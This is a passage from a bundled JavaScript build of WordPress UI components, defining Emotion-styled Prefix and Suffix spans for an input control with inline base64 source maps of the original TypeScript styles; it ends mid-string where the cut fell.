24422 return /* @__PURE__ */ (0, import_jsx_runtime85.jsx)(component_default, {
24423 as: "span",
24424 ...textProps,
24425 ref: forwardedRef
24426 });
24427 }
24428 var Text2 = contextConnect(UnconnectedText, "Text");
24429 var component_default8 = Text2;
24430
24431 // packages/components/build-module/input-control/styles/input-control-styles.mjs
24432 var import_jsx_runtime86 = __toESM(require_jsx_runtime(), 1);
24433 function _EMOTION_STRINGIFIED_CSS_ERROR__6() {
24434 return "You have tried to stringify object returned from `css` function. It isn't supposed to be used directly (e.g. as value of the `className` prop), but rather handed to emotion so it can handle it (e.g. as value of `css` prop).";
24435 }
24436 var Prefix = /* @__PURE__ */ createStyled("span", false ? {
24437 target: "em5sgkm8"
24438 } : {
24439 target: "em5sgkm8",
24440 label: "Prefix"
24441 })(false ? {
24442 name: "pvvbxf",
24443 styles: "box-sizing:border-box;display:block"
24444 } : {
24445 name: "pvvbxf",
24446 styles: "box-sizing:border-box;display:block/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbImlucHV0LWNvbnRyb2wtc3R5bGVzLnRzeCJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUF3QmlDIiwiZmlsZSI6ImlucHV0LWNvbnRyb2wtc3R5bGVzLnRzeCIsInNvdXJjZXNDb250ZW50IjpbIi8qKlxuICogRXh0ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCB0eXBlIHsgU2VyaWFsaXplZFN0eWxlcyB9IGZyb20gJ0BlbW90aW9uL3JlYWN0JztcbmltcG9ydCB7IGNzcyB9IGZyb20gJ0BlbW90aW9uL3JlYWN0JztcbmltcG9ydCBzdHlsZWQgZnJvbSAnQGVtb3Rpb24vc3R5bGVkJztcbmltcG9ydCB0eXBlIHsgQ1NTUHJvcGVydGllcywgUmVhY3ROb2RlIH0gZnJvbSAncmVhY3QnO1xuXG4vKipcbiAqIEludGVybmFsIGRlcGVuZGVuY2llc1xuICovXG5pbXBvcnQgdHlwZSB7IFdvcmRQcmVzc0NvbXBvbmVudFByb3BzIH0gZnJvbSAnLi4vLi4vY29udGV4dCc7XG5pbXBvcnQgeyBGbGV4LCBGbGV4SXRlbSB9IGZyb20gJy4uLy4uL2ZsZXgnO1xuaW1wb3J0IHsgVGV4dCB9IGZyb20gJy4uLy4uL3RleHQnO1xuaW1wb3J0IHsgYmFzZUxhYmVsVHlwb2dyYXBoeSwgQ09MT1JTLCBDT05GSUcsIHJ0bCB9IGZyb20gJy4uLy4uL3V0aWxzJztcbmltcG9ydCB0eXBlIHsgTGFiZWxQb3NpdGlvbiwgU2l6ZSwgUHJlZml4U3VmZml4V3JhcHBlclByb3BzIH0gZnJvbSAnLi4vdHlwZXMnO1xuXG50eXBlIENvbnRhaW5lclByb3BzID0ge1xuXHRkaXNhYmxlZD86IGJvb2xlYW47XG5cdGhpZGVMYWJlbD86IGJvb2xlYW47XG5cdF9fdW5zdGFibGVJbnB1dFdpZHRoPzogQ1NTUHJvcGVydGllc1sgJ3dpZHRoJyBdO1xuXHRsYWJlbFBvc2l0aW9uPzogTGFiZWxQb3NpdGlvbjtcbn07XG5cbmV4cG9ydCBjb25zdCBQcmVmaXggPSBzdHlsZWQuc3BhbmBcblx0Ym94LXNpemluZzogYm9yZGVyLWJveDtcblx0ZGlzcGxheTogYmxvY2s7XG5gO1xuXG5leHBvcnQgY29uc3QgU3VmZml4ID0gc3R5bGVkLnNwYW5gXG5cdGFsaWduLWl0ZW1zOiBjZW50ZXI7XG5cdGFsaWduLXNlbGY6IHN0cmV0Y2g7XG5cdGJveC1zaXppbmc6IGJvcmRlci1ib3g7XG5cdGRpc3BsYXk6IGZsZXg7XG5gO1xuXG50eXBlIEJhY2tkcm9wUHJvcHMgPSB7XG5cdGRpc2FibGVkPzogYm9vbGVhbjtcblx0aXNCb3JkZXJsZXNzPzogYm9vbGVhbjtcbn07XG5cbmNvbnN0IGJhY2tkcm9wQm9yZGVyQ29sb3IgPSAoIHtcblx0ZGlzYWJsZWQsXG5cdGlzQm9yZGVybGVzcyxcbn06IEJhY2tkcm9wUHJvcHMgKTogQ1NTUHJvcGVydGllc1sgJ2JvcmRlckNvbG9yJyBdID0+IHtcblx0aWYgKCBpc0JvcmRlcmxlc3MgKSB7XG5cdFx0cmV0dXJuICd0cmFuc3BhcmVudCc7XG5cdH1cblxuXHRpZiAoIGRpc2FibGVkICkge1xuXHRcdHJldHVybiBDT0xPUlMudWkuYm9yZGVyRGlzYWJsZWQ7XG5cdH1cblxuXHRyZXR1cm4gQ09MT1JTLnVpLmJvcmRlcjtcbn07XG5cbmV4cG9ydCBjb25zdCBCYWNrZHJvcFVJID0gc3R5bGVkLmRpdjwgQmFja2Ryb3BQcm9wcyA+YFxuXHQmJiYge1xuXHRcdGJveC1zaXppbmc6IGJvcmRlci1ib3g7XG5cdFx0Ym9yZGVyLWNvbG9yOiAkeyBiYWNrZHJvcEJvcmRlckNvbG9yIH07XG5cdFx0Ym9yZGVyLXJhZGl1czogaW5oZXJpdDtcblx0XHRib3JkZXItc3R5bGU6IHNvbGlkO1xuXHRcdGJvcmRlci13aWR0aDogMXB4O1xuXHRcdGJvdHRvbTogMDtcblx0XHRsZWZ0OiAwO1xuXHRcdG1hcmdpbjogMDtcblx0XHRwYWRkaW5nOiAwO1xuXHRcdHBvaW50ZXItZXZlbnRzOiBub25lO1xuXHRcdHBvc2l0aW9uOiBhYnNvbHV0ZTtcblx0XHRyaWdodDogMDtcblx0XHR0b3A6IDA7XG5cblx0XHQkeyBydGwoIHsgcGFkZGluZ0xlZnQ6IDIgfSApIH1cblx0fVxuYDtcblxuZXhwb3J0IGNvbnN0IFJvb3QgPSBzdHlsZWQoIEZsZXggKWBcblx0Ym94LXNpemluZzogYm9yZGVyLWJveDtcblx0cG9zaXRpb246IHJlbGF0aXZlO1xuXHRib3JkZXItcmFkaXVzOiAkeyBDT05GSUcucmFkaXVzU21hbGwgfTtcblx0cGFkZGluZy10b3A6IDA7XG5cblx0Ly8gRm9jdXMgd2l0aGluLCBleGNsdWRpbmcgY2FzZXMgd2hlcmUgYXV4aWxpYXJ5IGNvbnRyb2xzIGluIHByZWZpeCBvciBzdWZmaXggaGF2ZSBmb2N1cy5cblx0Jjpmb2N1cy13aXRoaW46bm90KCA6aGFzKCA6aXMoICR7IFByZWZpeCB9LCAkeyBTdWZmaXggfSApOmZvY3VzLXdpdGhpbiApICkge1xuXHRcdCR7IEJhY2tkcm9wVUkgfSB7XG5cdFx0XHRib3JkZXItY29sb3I6ICR7IENPTE9SUy51aS5ib3JkZXJGb2N1cyB9O1xuXHRcdFx0Ym94LXNoYWRvdzogJHsgQ09ORklHLmNvbnRyb2xCb3hTaGFkb3dGb2N1cyB9O1xuXHRcdFx0Ly8gV2luZG93cyBIaWdoIENvbnRyYXN0IG1vZGUgd2lsbCBzaG93IHRoaXMgb3V0bGluZSwgYnV0IG5vdCB0aGUgYm94LXNoYWRvdy5cblx0XHRcdG91dGxpbmU6IDJweCBzb2xpZCB0cmFuc3BhcmVudDtcblx0XHRcdG91dGxpbmUtb2Zmc2V0OiAtMnB4O1xuXHRcdH1cblx0fVxuYDtcblxuY29uc3QgY29udGFpbmVyRGlzYWJsZWRTdHlsZXMgPSAoIHsgZGlzYWJsZWQgfTogQ29udGFpbmVyUHJvcHMgKSA9PiB7XG5cdGNvbnN0IGJhY2tncm91bmRDb2xvciA9IGRpc2FibGVkXG5cdFx0PyBDT0xPUlMudWkuYmFja2dyb3VuZERpc2FibGVkXG5cdFx0OiBDT0xPUlMudWkuYmFja2dyb3VuZDtcblxuXHRyZXR1cm4gY3NzKCB7IGJhY2tncm91bmRDb2xvciB9ICk7XG59O1xuXG5jb25zdCBjb250YWluZXJXaWR0aFN0eWxlcyA9ICgge1xuXHRfX3Vuc3RhYmxlSW5wdXRXaWR0aCxcblx0bGFiZWxQb3NpdGlvbixcbn06IENvbnRhaW5lclByb3BzICkgPT4ge1xuXHRpZiAoICEgX191bnN0YWJsZUlucHV0V2lkdGggKSB7XG5cdFx0cmV0dXJuIGNzcyggeyB3aWR0aDogJzEwMCUnIH0gKTtcblx0fVxuXG5cdGlmICggbGFiZWxQb3NpdGlvbiA9PT0gJ3NpZGUnICkge1xuXHRcdHJldHVybiAnJztcblx0fVxuXG5cdGlmICggbGFiZWxQb3NpdGlvbiA9PT0gJ2VkZ2UnICkge1xuXHRcdHJldHVybiBjc3MoIHtcblx0XHRcdGZsZXg6IGAwIDAgJHsgX191bnN0YWJsZUlucHV0V2lkdGggfWAsXG5cdFx0fSApO1xuXHR9XG5cblx0cmV0dXJuIGNzcyggeyB3aWR0aDogX191bnN0YWJsZUlucHV0V2lkdGggfSApO1xufTtcblxuZXhwb3J0IGNvbnN0IENvbnRhaW5lciA9IHN0eWxlZC5kaXY8IENvbnRhaW5lclByb3BzID5gXG5cdGFsaWduLWl0ZW1zOiBjZW50ZXI7XG5cdGJveC1zaXppbmc6IGJvcmRlci1ib3g7XG5cdGJvcmRlci1yYWRpdXM6IGluaGVyaXQ7XG5cdGRpc3BsYXk6IGZsZXg7XG5cdGZsZXg6IDE7XG5cdHBvc2l0aW9uOiByZWxhdGl2ZTtcblxuXHQkeyBjb250YWluZXJEaXNhYmxlZFN0eWxlcyB9XG5cdCR7IGNvbnRhaW5lcldpZHRoU3R5bGVzIH1cbmA7XG5cbnR5cGUgSW5wdXRQcm9wcyA9IHtcblx0X19uZXh0NDBweERlZmF1bHRTaXplPzogYm9vbGVhbjtcblx0ZGlzYWJsZWQ/OiBib29sZWFuO1xuXHRpbnB1dFNpemU/OiBTaXplO1xuXHRpc0RyYWdnaW5nPzogYm9vbGVhbjtcblx0ZHJhZ0N1cnNvcj86IENTU1Byb3BlcnRpZXNbICdjdXJzb3InIF07XG5cdHBhZGRpbmdJbmxpbmVTdGFydD86IENTU1Byb3BlcnRpZXNbICdwYWRkaW5nSW5saW5lU3RhcnQnIF07XG5cdHBhZGRpbmdJbmxpbmVFbmQ/OiBDU1NQcm9wZXJ0aWVzWyAncGFkZGluZ0lubGluZUVuZCcgXTtcbn07XG5cbmNvbnN0IGRpc2FibGVkU3R5bGVzID0gKCB7IGRpc2FibGVkIH06IElucHV0UHJvcHMgKSA9PiB7XG5cdGlmICggISBkaXNhYmxlZCApIHtcblx0XHRyZXR1cm4gJyc7XG5cdH1cblxuXHRyZXR1cm4gY3NzKCB7XG5cdFx0Y29sb3I6IENPTE9SUy51aS50ZXh0RGlzYWJsZWQsXG5cdH0gKTtcbn07XG5cbmV4cG9ydCBjb25zdCBmb250U2l6ZVN0eWxlcyA9ICggeyBpbnB1dFNpemU6IHNpemUgfTogSW5wdXRQcm9wcyApID0+IHtcblx0Y29uc3Qgc2l6ZXMgPSB7XG5cdFx0ZGVmYXVsdDogJzEzcHgnLFxuXHRcdHNtYWxsOiAnMTFweCcsXG5cdFx0Y29tcGFjdDogJzEzcHgnLFxuXHRcdCdfX3Vuc3RhYmxlLWxhcmdlJzogJzEzcHgnLFxuXHR9O1xuXG5cdGNvbnN0IGZvbnRTaXplID0gc2l6ZXNbIHNpemUgYXMgU2l6ZSBdIHx8IHNpemVzLmRlZmF1bHQ7XG5cdGNvbnN0IGZvbnRTaXplTW9iaWxlID0gJzE2cHgnO1xuXG5cdGlmICggISBmb250U2l6ZSApIHtcblx0XHRyZXR1cm4gJyc7XG5cdH1cblxuXHRyZXR1cm4gY3NzYFxuXHRcdGZvbnQtc2l6ZTogJHsgZm9udFNpemVNb2JpbGUgfTtcblxuXHRcdEBtZWRpYSAoIG1pbi13aWR0aDogNjAwcHggKSB7XG5cdFx0XHRmb250LXNpemU6ICR7IGZvbnRTaXplIH07XG5cdFx0fVxuXHRgO1xufTtcblxuZXhwb3J0IGNvbnN0IGdldFNpemVDb25maWcgPSAoIHtcblx0aW5wdXRTaXplOiBzaXplLFxuXHRfX25leHQ0MHB4RGVmYXVsdFNpemUsXG59OiBJbnB1dFByb3BzICkgPT4ge1xuXHQvLyBQYWRkaW5ncyBtYXkgYmUgb3ZlcnJpZGRlbiBieSB0aGUgY3VzdG9tIHBhZGRpbmdzIHByb3BzLlxuXHRjb25zdCBzaXplcyA9IHtcblx0XHRkZWZhdWx0OiB7XG5cdFx0XHRoZWlnaHQ6IDQwLFxuXHRcdFx0bGluZUhlaWdodDogMSxcblx0XHRcdG1pbkhlaWdodDogNDAsXG5cdFx0XHRwYWRkaW5nTGVmdDogQ09ORklHLmNvbnRyb2xQYWRkaW5nWCxcblx0XHRcdHBhZGRpbmdSaWdodDogQ09ORklHLmNvbnRyb2xQYWRkaW5nWCxcblx0XHR9LFxuXHRcdHNtYWxsOiB7XG5cdFx0XHRoZWlnaHQ6IDI0LFxuXHRcdFx0bGluZUhlaWdodDogMSxcblx0XHRcdG1pbkhlaWdodDogMjQsXG5cdFx0XHRwYWRkaW5nTGVmdDogQ09ORklHLmNvbnRyb2xQYWRkaW5nWFNtYWxsLFxuXHRcdFx0cGFkZGluZ1JpZ2h0OiBDT05GSUcuY29udHJvbFBhZGRpbmdYU21hbGwsXG5cdFx0fSxcblx0XHRjb21wYWN0OiB7XG5cdFx0XHRoZWlnaHQ6IDMyLFxuXHRcdFx0bGluZUhlaWdodDogMSxcblx0XHRcdG1pbkhlaWdodDogMzIsXG5cdFx0XHRwYWRkaW5nTGVmdDogQ09ORklHLmNvbnRyb2xQYWRkaW5nWFNtYWxsLFxuXHRcdFx0cGFkZGluZ1JpZ2h0OiBDT05GSUcuY29udHJvbFBhZGRpbmdYU21hbGwsXG5cdFx0fSxcblx0XHQnX191bnN0YWJsZS1sYXJnZSc6IHtcblx0XHRcdGhlaWdodDogNDAsXG5cdFx0XHRsaW5lSGVpZ2h0OiAxLFxuXHRcdFx0bWluSGVpZ2h0OiA0MCxcblx0XHRcdHBhZGRpbmdMZWZ0OiBDT05GSUcuY29udHJvbFBhZGRpbmdYLFxuXHRcdFx0cGFkZGluZ1JpZ2h0OiBDT05GSUcuY29udHJvbFBhZGRpbmdYLFxuXHRcdH0sXG5cdH07XG5cblx0aWYgKCAhIF9fbmV4dDQwcHhEZWZhdWx0U2l6ZSApIHtcblx0XHRzaXplcy5kZWZhdWx0ID0gc2l6ZXMuY29tcGFjdDtcblx0fVxuXG5cdHJldHVybiBzaXplc1sgc2l6ZSBhcyBTaXplIF0gfHwgc2l6ZXMuZGVmYXVsdDtcbn07XG5cbmNvbnN0IHNpemVTdHlsZXMgPSAoIHByb3BzOiBJbnB1dFByb3BzICkgPT4ge1xuXHRyZXR1cm4gY3NzKCBnZXRTaXplQ29uZmlnKCBwcm9wcyApICk7XG59O1xuXG5jb25zdCBjdXN0b21QYWRkaW5ncyA9ICgge1xuXHRwYWRkaW5nSW5saW5lU3RhcnQsXG5cdHBhZGRpbmdJbmxpbmVFbmQsXG59OiBJbnB1dFByb3BzICkgPT4ge1xuXHRyZXR1cm4gY3NzKCB7IHBhZGRpbmdJbmxpbmVTdGFydCwgcGFkZGluZ0lubGluZUVuZCB9ICk7XG59O1xuXG5jb25zdCBkcmFnU3R5bGVzID0gKCB7IGlzRHJhZ2dpbmcsIGRyYWdDdXJzb3IgfTogSW5wdXRQcm9wcyApID0+IHtcblx0bGV0IGRlZmF1bHRBcnJvd1N0eWxlczogU2VyaWFsaXplZFN0eWxlcyB8IHVuZGVmaW5lZDtcblx0bGV0IGFjdGl2ZURyYWdDdXJzb3JTdHlsZXM6IFNlcmlhbGl6ZWRTdHlsZXMgfCB1bmRlZmluZWQ7XG5cblx0aWYgKCBpc0RyYWdnaW5nICkge1xuXHRcdGRlZmF1bHRBcnJvd1N0eWxlcyA9IGNzc2Bcblx0XHRcdGN1cnNvcjogJHsgZHJhZ0N1cnNvciB9O1xuXHRcdFx0dXNlci1zZWxlY3Q6IG5vbmU7XG5cblx0XHRcdCY6Oi13ZWJraXQtb3V0ZXItc3Bpbi1idXR0b24sXG5cdFx0XHQmOjotd2Via2l0LWlubmVyLXNwaW4tYnV0dG9uIHtcblx0XHRcdFx0LXdlYmtpdC1hcHBlYXJhbmNlOiBub25lICFpbXBvcnRhbnQ7XG5cdFx0XHRcdG1hcmdpbjogMCAhaW1wb3J0YW50O1xuXHRcdFx0fVxuXHRcdGA7XG5cdH1cblxuXHRpZiAoIGlzRHJhZ2dpbmcgJiYgZHJhZ0N1cnNvciApIHtcblx0XHRhY3RpdmVEcmFnQ3Vyc29yU3R5bGVzID0gY3NzYFxuXHRcdFx0JjphY3RpdmUge1xuXHRcdFx0XHRjdXJzb3I6ICR7IGRyYWdDdXJzb3IgfTtcblx0XHRcdH1cblx0XHRgO1xuXHR9XG5cblx0cmV0dXJuIGNzc2Bcblx0XHQkeyBkZWZhdWx0QXJyb3dTdHlsZXMgfVxuXHRcdCR7IGFjdGl2ZURyYWdDdXJzb3JTdHlsZXMgfVxuXHRgO1xufTtcblxuLy8gVE9ETzogUmVzb2x2ZSBuZWVkIHRvIHVzZSAmJiYgdG8gaW5jcmVhc2Ugc3BlY2lmaWNpdHlcbi8vIGh0dHBzOi8vZ2l0aHViLmNvbS9Xb3JkUHJlc3MvZ3V0ZW5iZXJnL2lzc3Vlcy8xODQ4M1xuXG5leHBvcnQgY29uc3QgSW5wdXQgPSBzdHlsZWQuaW5wdXQ8IElucHV0UHJvcHMgPmBcblx0JiYmIHtcblx0XHRiYWNrZ3JvdW5kLWNvbG9yOiB0cmFuc3BhcmVudDtcblx0XHRib3gtc2l6aW5nOiBib3JkZXItYm94O1xuXHRcdGJvcmRlcjogbm9uZTtcblx0XHRib3gtc2hhZG93OiBub25lICFpbXBvcnRhbnQ7XG5cdFx0Y29sb3I6ICR7IENPTE9SUy50aGVtZS5mb3JlZ3JvdW5kIH07XG5cdFx0ZGlzcGxheTogYmxvY2s7XG5cdFx0Zm9udC1mYW1pbHk6IGluaGVyaXQ7XG5cdFx0bWFyZ2luOiAwO1xuXHRcdG91dGxpbmU6IG5vbmU7XG5cdFx0d2lkdGg6IDEwMCU7XG5cblx0XHQkeyBkcmFnU3R5bGVzIH1cblx0XHQkeyBkaXNhYmxlZFN0eWxlcyB9XG5cdFx0JHsgZm9udFNpemVTdHlsZXMgfVxuXHRcdCR7IHNpemVTdHlsZXMgfVxuXHRcdCR7IGN1c3RvbVBhZGRpbmdzIH1cblxuXHRcdCY6Oi13ZWJraXQtaW5wdXQtcGxhY2Vob2xkZXIge1xuXHRcdFx0Y29sb3I6ICR7IENPTE9SUy51aS5kYXJrR3JheVBsYWNlaG9sZGVyIH07XG5cdFx0fVxuXG5cdFx0Jjo6LW1vei1wbGFjZWhvbGRlciB7XG5cdFx0XHRjb2xvcjogJHsgQ09MT1JTLnVpLmRhcmtHcmF5UGxhY2Vob2xkZXIgfTtcblx0XHR9XG5cblx0XHQmOi1tcy1pbnB1dC1wbGFjZWhvbGRlciB7XG5cdFx0XHRjb2xvcjogJHsgQ09MT1JTLnVpLmRhcmtHcmF5UGxhY2Vob2xkZXIgfTtcblx0XHR9XG5cblx0XHQmW3R5cGU9J2VtYWlsJ10sXG5cdFx0Jlt0eXBlPSd1cmwnXSB7XG5cdFx0XHQvKiBydGw6aWdub3JlICovXG5cdFx0XHRkaXJlY3Rpb246IGx0cjtcblx0XHR9XG5cdH1cbmA7XG5cbmNvbnN0IEJhc2VMYWJlbCA9IHN0eWxlZCggVGV4dCApPCB7IGxhYmVsUG9zaXRpb24/OiBMYWJlbFBvc2l0aW9uIH0gPmBcblx0JiYmIHtcblx0XHQkeyBiYXNlTGFiZWxUeXBvZ3JhcGh5IH07XG5cblx0XHRib3gtc2l6aW5nOiBib3JkZXItYm94O1xuXHRcdGRpc3BsYXk6IGJsb2NrO1xuXHRcdHBhZGRpbmctdG9wOiAwO1xuXHRcdHBhZGRpbmctYm90dG9tOiAwO1xuXHRcdG1heC13aWR0aDogMTAwJTtcblx0XHR6LWluZGV4OiAxO1xuXHR9XG5gO1xuXG5leHBvcnQgY29uc3QgTGFiZWwgPSAoXG5cdHByb3BzOiBXb3JkUHJlc3NDb21wb25lbnRQcm9wczxcblx0XHR7IGxhYmVsUG9zaXRpb24/OiBMYWJlbFBvc2l0aW9uOyBjaGlsZHJlbjogUmVhY3ROb2RlIH0sXG5cdFx0J2xhYmVsJyxcblx0XHRmYWxzZVxuXHQ+XG4pID0+IDxCYXNlTGFiZWwgeyAuLi5wcm9wcyB9IGFzPVwibGFiZWxcIiAvPjtcblxuZXhwb3J0IGNvbnN0IExhYmVsV3JhcHBlciA9IHN0eWxlZCggRmxleEl0ZW0gKWBcblx0bWF4LXdpZHRoOiBjYWxjKCAxMDAlIC0gMTBweCApO1xuYDtcblxuY29uc3QgcHJlZml4U3VmZml4V3JhcHBlclN0eWxlcyA9ICgge1xuXHR2YXJpYW50ID0gJ2RlZmF1bHQnLFxuXHRzaXplLFxuXHRfX25leHQ0MHB4RGVmYXVsdFNpemUsXG5cdGlzUHJlZml4LFxufTogUHJlZml4U3VmZml4V3JhcHBlclByb3BzICYgeyBpc1ByZWZpeD86IGJvb2xlYW4gfSApID0+IHtcblx0Y29uc3QgeyBwYWRkaW5nTGVmdDogcGFkZGluZyB9ID0gZ2V0U2l6ZUNvbmZpZygge1xuXHRcdGlucHV0U2l6ZTogc2l6ZSxcblx0XHRfX25leHQ0MHB4RGVmYXVsdFNpemUsXG5cdH0gKTtcblxuXHRjb25zdCBwYWRkaW5nUHJvcGVydHkgPSBpc1ByZWZpeFxuXHRcdD8gJ3BhZGRpbmdJbmxpbmVTdGFydCdcblx0XHQ6ICdwYWRkaW5nSW5saW5lRW5kJztcblxuXHRpZiAoIHZhcmlhbnQgPT09ICdkZWZhdWx0JyApIHtcblx0XHRyZXR1cm4gY3NzKCB7XG5cdFx0XHRbIHBhZGRpbmdQcm9wZXJ0eSBdOiBwYWRkaW5nLFxuXHRcdH0gKTtcblx0fVxuXG5cdC8vIElmIHZhcmlhbnQgaXMgJ2ljb24nIG9yICdjb250cm9sJ1xuXHRyZXR1cm4gY3NzKCB7XG5cdFx0ZGlzcGxheTogJ2ZsZXgnLFxuXHRcdFsgcGFkZGluZ1Byb3BlcnR5IF06IHBhZGRpbmcgLSA0LFxuXHR9ICk7XG59O1xuXG5leHBvcnQgY29uc3QgUHJlZml4U3VmZml4V3JhcHBlciA9IHN0eWxlZC5kaXZgXG5cdCR7IHByZWZpeFN1ZmZpeFdyYXBwZXJTdHlsZXMgfVxuYDtcbiJdfQ== */",
24447 toString: _EMOTION_STRINGIFIED_CSS_ERROR__6
24448 });
24449 var Suffix = /* @__PURE__ */ createStyled("span", false ? {
24450 target: "em5sgkm7"
24451 } : {
24452 target: "em5sgkm7",
24453 label: "Suffix"
24454 })(false ? {
24455 name: "jgf79h",
24456 styles: "align-items:center;align-self:stretch;box-sizing:border-box;display:flex"
24457 } : {
24458 name: "jgf79h",
24459 styles: "align-items:center;align-self:stretch;box-sizing:border-box;display:flex/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbImlucHV0LWNvbnRyb2wtc3R5bGVzLnRzeCJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUE2QmlDIiwiZmlsZSI6ImlucHV0LWNvbnRyb2wtc3R5bGVzLnRzeCIsInNvdXJjZXNDb250ZW50IjpbIi8qKlxuICogRXh0ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCB0eXBlIHsgU2VyaWFsaXplZFN0eWxlcyB9IGZyb20gJ0BlbW90aW9uL3JlYWN0JztcbmltcG9ydCB7IGNzcyB9IGZyb20gJ0BlbW90aW9uL3JlYWN0JztcbmltcG9ydCBzdHlsZWQgZnJvbSAnQGVtb3Rpb24vc3R5bGVkJztcbmltcG9ydCB0eXBlIHsgQ1NTUHJvcGVydGllcywgUmVhY3ROb2RlIH0gZnJvbSAncmVhY3QnO1xuXG4vKipcbiAqIEludGVybmFsIGRlcGVuZGVuY2llc1xuICovXG5pbXBvcnQgdHlwZSB7IFdvcmRQcmVzc0NvbXBvbmVudFByb3BzIH0gZnJvbSAnLi4vLi4vY29udGV4dCc7XG5pbXBvcnQgeyBGbGV4LCBGbGV4SXRlbSB9IGZyb20gJy4uLy4uL2ZsZXgnO1xuaW1wb3J0IHsgVGV4dCB9IGZyb20gJy4uLy4uL3RleHQnO1xuaW1wb3J0IHsgYmFzZUxhYmVsVHlwb2dyYXBoeSwgQ09MT1JTLCBDT05GSUcsIHJ0bCB9IGZyb20gJy4uLy4uL3V0aWxzJztcbmltcG9ydCB0eXBlIHsgTGFiZWxQb3NpdGlvbiwgU2l6ZSwgUHJlZml4U3VmZml4V3JhcHBlclByb3BzIH0gZnJvbSAnLi4vdHlwZXMnO1xuXG50eXBlIENvbnRhaW5lclByb3BzID0ge1xuXHRkaXNhYmxlZD86IGJvb2xlYW47XG5cdGhpZGVMYWJlbD86IGJvb2xlYW47XG5cdF9fdW5zdGFibGVJbnB1dFdpZHRoPzogQ1NTUHJvcGVydGllc1sgJ3dpZHRoJyBdO1xuXHRsYWJlbFBvc2l0aW9uPzogTGFiZWxQb3NpdGlvbjtcbn07XG5cbmV4cG9ydCBjb25zdCBQcmVmaXggPSBzdHlsZWQuc3BhbmBcblx0Ym94LXNpemluZzogYm9yZGVyLWJveDtcblx0ZGlzcGxheTogYmxvY2s7XG5gO1xuXG5leHBvcnQgY29uc3QgU3VmZml4ID0gc3R5bGVkLnNwYW5gXG5cdGFsaWduLWl0ZW1zOiBjZW50ZXI7XG5cdGFsaWduLXNlbGY6IHN0cmV0Y2g7XG5cdGJveC1zaXppbmc6IGJvcmRlci1ib3g7XG5cdGRpc3BsYXk6IGZsZXg7XG5gO1xuXG50eXBlIEJhY2tkcm9wUHJvcHMgPSB7XG5cdGRpc2FibGVkPzogYm9vbGVhbjtcblx0aXNCb3JkZXJsZXNzPzogYm9vbGVhbjtcbn07XG5cbmNvbnN0IGJhY2tkcm9wQm9yZGVyQ29sb3IgPSAoIHtcblx0ZGlzYWJsZWQsXG5cdGlzQm9yZGVybGVzcyxcbn06IEJhY2tkcm9wUHJvcHMgKTogQ1NTUHJvcGVydGllc1sgJ2JvcmRlckNvbG9yJyBdID0+IHtcblx0aWYgKCBpc0JvcmRlcmxlc3MgKSB7XG5cdFx0cmV0dXJuICd0cmFuc3BhcmVudCc7XG5cdH1cblxuXHRpZiAoIGRpc2FibGVkICkge1xuXHRcdHJldHVybiBDT0xPUlMudWkuYm9yZGVyRGlzYWJsZWQ7XG5cdH1cblxuXHRyZXR1cm4gQ09MT1JTLnVpLmJvcmRlcjtcbn07XG5cbmV4cG9ydCBjb25zdCBCYWNrZHJvcFVJID0gc3R5bGVkLmRpdjwgQmFja2Ryb3BQcm9wcyA+YFxuXHQmJiYge1xuXHRcdGJveC1zaXppbmc6IGJvcmRlci1ib3g7XG5cdFx0Ym9yZGVyLWNvbG9yOiAkeyBiYWNrZHJvcEJvcmRlckNvbG9yIH07XG5cdFx0Ym9yZGVyLXJhZGl1czogaW5oZXJpdDtcblx0XHRib3JkZXItc3R5bGU6IHNvbGlkO1xuXHRcdGJvcmRlci13aWR0aDogMXB4O1xuXHRcdGJvdHRvbTogMDtcblx0XHRsZWZ0OiAwO1xuXHRcdG1hcmdpbjogMDtcblx0XHRwYWRkaW5nOiAwO1xuXHRcdHBvaW50ZXItZXZlbnRzOiBub25lO1xuXHRcdHBvc2l0aW9uOiBhYnNvbHV0ZTtcblx0XHRyaWdodDogMDtcblx0XHR0b3A6IDA7XG5cblx0XHQkeyBydGwoIHsgcGFkZGluZ0xlZnQ6IDIgfSApIH1cblx0fVxuYDtcblxuZXhwb3J0IGNvbnN0IFJvb3QgPSBzdHlsZWQoIEZsZXggKWBcblx0Ym94LXNpemluZzogYm9yZGVyLWJveDtcblx0cG9zaXRpb246IHJlbGF0aXZlO1xuXHRib3JkZXItcmFkaXVzOiAkeyBDT05GSUcucmFkaXVzU21hbGwgfTtcblx0cGFkZGluZy10b3A6IDA7XG5cblx0Ly8gRm9jdXMgd2l0aGluLCBleGNsdWRpbmcgY2FzZXMgd2hlcmUgYXV4aWxpYXJ5IGNvbnRyb2xzIGluIHByZWZpeCBvciBzdWZmaXggaGF2ZSBmb2N1cy5cblx0Jjpmb2N1cy13aXRoaW46bm90KCA6aGFzKCA6aXMoICR7IFByZWZpeCB9LCAkeyBTdWZmaXggfSApOmZvY3VzLXdpdGhpbiApICkge1xuXHRcdCR7IEJhY2tkcm9wVUkgfSB7XG5cdFx0XHRib3JkZXItY29sb3I6ICR7IENPTE9SUy51aS5ib3JkZXJGb2N1cyB9O1xuXHRcdFx0Ym94LXNoYWRvdzogJHsgQ09ORklHLmNvbnRyb2xCb3hTaGFkb3dGb2N1cyB9O1xuXHRcdFx0Ly8gV2luZG93cyBIaWdoIENvbnRyYXN0IG1vZGUgd2lsbCBzaG93IHRoaXMgb3V0bGluZSwgYnV0IG5vdCB0aGUgYm94LXNoYWRvdy5cblx0XHRcdG91dGxpbmU6IDJweCBzb2xpZCB0cmFuc3BhcmVudDtcblx0XHRcdG91dGxpbmUtb2Zmc2V0OiAtMnB4O1xuXHRcdH1cblx0fVxuYDtcblxuY29uc3QgY29udGFpbmVyRGlzYWJsZWRTdHlsZXMgPSAoIHsgZGlzYWJsZWQgfTogQ29udGFpbmVyUHJvcHMgKSA9PiB7XG5cdGNvbnN0IGJhY2tncm91bmRDb2xvciA9IGRpc2FibGVkXG5cdFx0PyBDT0xPUlMudWkuYmFja2dyb3VuZERpc2FibGVkXG5cdFx0OiBDT0xPUlMudWkuYmFja2dyb3VuZDtcblxuXHRyZXR1cm4gY3NzKCB7IGJhY2tncm91bmRDb2xvc